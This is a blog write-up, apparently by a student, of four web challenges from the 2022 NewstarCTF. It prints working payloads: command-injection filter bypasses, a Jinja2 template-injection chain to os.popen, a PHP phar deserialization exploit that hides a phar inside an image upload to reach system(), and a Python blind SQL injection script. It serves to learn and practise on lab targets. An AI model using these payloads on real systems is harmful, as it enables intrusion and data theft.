[Writeup]2022 NewstarCTF_Week4(Web部分)
一只网络安全菜鸟--(˙<>˙)/--
写博客主要是想记录一下自己的学习过程,过两年毕业了也能回头看看自己都学了些啥东西。
由于本人水平有限内容难免有错误、疏漏、逻辑不清、让人看不懂等各种问题,恳请大家批评指正
如果我写的东西能对你有一点点帮助,那真是再好不过了😀。
2023 Newstar CTF就要开始了,在buuctf上把去年的题做了一下,虽然是新生赛但仍有挺多我不知道的知识。。感觉web我才走完几千分之一的路程
So Baby RCE
进入环境:
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}
发现几乎能过滤的都过滤掉了,其实正则匹配cat啥的倒是很好绕过,直接c${Z}at
照样可以执行cat,空格可以用${IFS}
绕过。先ls看下当前目录下都有啥文件:
/?cmd=ls
当前目录没啥好东西,直接ls / 的话 / 这个还被过滤了。那就用cd ..命令一级一级往上找,分号被过滤了就用逻辑与&&连接。看下上一级目录都有啥:
/?cmd=cd${IFS}..%26%26ls
再往上找:
/?cmd=cd${IFS}..%26%26cd${IFS}..%26%26ls
还往上找;
/?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26ls
出现了ffffllllaaaaggggg,直接cat读它,不过注意cat 和fl都被正则匹配了,在中间加个${Z}就好,payload:
/?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26c${Z}at${IFS}ffff${Z}llllaaaaggggg
BabySSTI_Two
This is Hint: Waf Has Been Updated, More Safe!
模板注入,更新了waf,进环境看看:
和第一题一样是jinja2,尝试一下发现带class+的都被过滤掉了。。不能用字符串合并的方法绕过,查了一下可以用字符串逆序的方法绕过,感谢这位师傅:
https://blog.csdn.net/mochu7777777/article/details/127259821?ops_request_misc=&request_id=&biz_id=102&utm_term=BabySSTI_Two&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-3-127259821.nonecase&spm=1018.2226.3001.4187
{{''['__ssalc__'[::-1]]}} //[::-1]这东西是python中的切片操作,意思是从头到尾,倒着读
看看效果:
看源码:
接下来就和one中一样了,找它的爹、找带os的类、执行函数:
{{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()[117]['__tini__'[::-1]]['__slabolg__'[::-1]]['nepop'[::-1]]('ls${IFS}-lha${IFS}/').read()}}
有个flag_in_h3r3_52daad,cat读一下:
payload:?name={{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()[117]['__tini__'[::-1]]['__slabolg__'[::-1]]['nepop'[::-1]]('ca${Z}t${IFS}/fl${Z}ag_in_h3r3_52daad').read()}}
UnserializeThree
描述:PHP反序列化漏洞系列第三题。当文件上传遇到反序列化,擦出爱(RCE)的火花
看下源码:
有个class.php,估计和反序列化有关?看看:
<?php
highlight_file(__FILE__);
class Evil{
public $cmd;
public function __destruct()//__destruct魔术方法,销毁时调用
{
if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){//正则匹配了><?php和换行符
//Same point ,can you bypass me again?
eval("#".$this->cmd);//命令执行,前面加了个#,之前绕这个可以通过换行符或?>闭合,但这次前面的正则匹配把这两扇门关上了,看了wp才知道还可以通过\r(回车符)。这东西可以把光标移到本行开头并把之前的内容覆盖
}else{
echo "No!";
}
}
}
file_exists($_GET['file']); //看wp之前还不知道这是干啥用的,看完才知道这东西是和phar伪协议配合的。
这题完全不知道怎么做,上传页面只能上传png/jpg这种图片。那两个文件上传不了,burppsuite抓包再改也没用。。估计不是以前做的那种简单的一句话木马,而且如果是单纯的文件上传漏洞,怎么反序列化?而且不知道#要怎么绕过(过滤了php?><啥的),然后竟然在eval类中竟然有个魔术方法?文件上传要怎么搞才能调用这个魔术方法?后面看了师傅们的wp,才知道这个要用到phar反序列化(第一次接触这个知识点).
参考了这几位师傅的文章,感谢:
https://blog.csdn.net/Little_jcak/article/details/127362879
https://blog.csdn.net/mochu7777777/article/details/127259821?spm=1001.2014.3001.5506
https://www.cnblogs.com/CoLo/p/16786627.html#:~:text=Phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20Phar%E4%B9%8B%E6%89%80%E4%BB%A5%E8%83%BD%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%EF%BC%8C%E6%98%AF%E5%9B%A0%E4%B8%BAPhar%E6%96%87%E4%BB%B6%E4%BC%9A%E4%BB%A5%E5%BA%8F%E5%88%97%E5%8C%96%E7%9A%84%E5%BD%A2%E5%BC%8F%E5%AD%98%E5%82%A8%E7%94%A8%E6%88%B7%E8%87%AA%E5%AE%9A%E4%B9%89%E7%9A%84%20meta-data%2CPHP%E4%BD%BF%E7%94%A8,phar_parse_metadata%20%E5%9C%A8%E8%A7%A3%E6%9E%90meta%E6%95%B0%E6%8D%AE%E6%97%B6%EF%BC%8C%E4%BC%9A%E8%B0%83%E7%94%A8%20php_var_unserialize%20%E8%BF%9B%E8%A1%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%93%8D%E4%BD%9C%E3%80%82
下面的内容参考了这位师傅的文章:
https://mochu.blog.csdn.net/article/details/106909777
phar是一种压缩打包文件的格式,会以序列化形式存储用户定义的meta-data。配合phar://就能一些函数等参数可控的情况下实现自动反序列化操作,于是攻击者就可以精心构造phar包在没有unserialize()的情况下实现自动反序列化。
用下师傅的代码生成一个phar文件:
Phar.php:
<?php
class Evil{
public $cmd = "\rsystem('ls');";
}
$phar = new Phar("txy.phar"); //后缀名必须为phar
$phar->startBuffering();//开始缓冲Phar写操作
$phar->setStub("__HALT_COMPILER(); ?>");//设置stub
$o=new Evil();
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString("txy.txt","txy");//添加要压缩的文件及文件内容
$phar->stopBuffering();//停止缓冲,并将更改保存到磁盘
?>
网站首页访问Phar.php:
生成txy.phar文件,因为只允许上传图片所以把后缀改成png之类的再上传,对phar://
协议来说,文件名不重要,只要内容格式是phar即可触发反序列化:
给file传参:
class.php/?file=phar://upload/bab9a8bb21bf306a6e970ee78d873e8f.png
结果:
可以看到命令被执行了,然后把ls改成cat /flag就可以(ls 和 ls / 结果一样):
/class.php/?file=phar://upload/958ba3701e3115324d4ae51e0eeed0e5.png
最后总结下这道题的思路(个人理解):文件上传+反序列化+RCE,先上传phar文件,这东西可以以序列化的格式存储用户定义的meta-data,然后利用可以使用伪协议(phar://)的函数之一file_exists去把刚刚序列化的内容给反序列化,__destruct方法会在销毁对象被调用,最终达到RCE目的。
说下对配置文件的设置:
注意要把这个readonly关掉,否则会出现下面这种情况:
又一个SQL
进环境:
源码里没啥东西,直接和前两个一样去找注入点:
GET传name仍是注入点,数字型注入而且他这个过滤挺有意思的:没过滤单独的and、or,但这俩东西和其它任何字符组合都会被过滤:
回显不会显示内容,只会显示留言是否存在。
想到之前做buuctf题写的一个盲注脚本:
import requests
import string
import time
strings = string.printable
flag = ''
for num in range(1,300):
time.sleep(0.06)
for i in strings:
url='http://7d516fb5-1e5b-4962-9826-8a7665a48306.node4.buuoj.cn:81/comments.php'
#payload='1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{0},1))={1})^1'.format(num,ord(i)) #爆数据库
payload="1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{0},1))={1})^1".format(num,ord(i)) #爆表
# wfy_admin,wfy_comments,wfy_information
# payload="1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_comments')),{0},1))={1})^1".format(num,ord(i)) #爆列名
# id,text,user,name,display
#payload='1^(ascii(substr((select(group_concat(text))from(wfy_comments)),{0},1))={1})^1'.format(num,ord(i))
#payload='1^(ascii(substr(reverse((select(group_concat(text))from(wfy_comments))),{0},1))={1})^1'.format(num,ord(i)) #爆字段,reverse的原因是根据经验flag藏在最后
#
get_data={"name":payload}
res = requests.get(url,params=get_data,timeout=5)
time.sleep(0.04)
if '好耶' in res.text:
flag += i
print(flag)
else:
continue
print(flag)
最后的结果:
直接把它复制粘贴过来了,根据题目改改就行(根据回显判断对错)。我感觉这个挺好理解的,不过因为不是二分法查找所以运行的非常慢,后面学些了其它师傅们用二分法的wp,感谢这位师傅:
https://blog.csdn.net/mochu7777777/article/details/127259821?spm=1001.2014.3001.5506
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理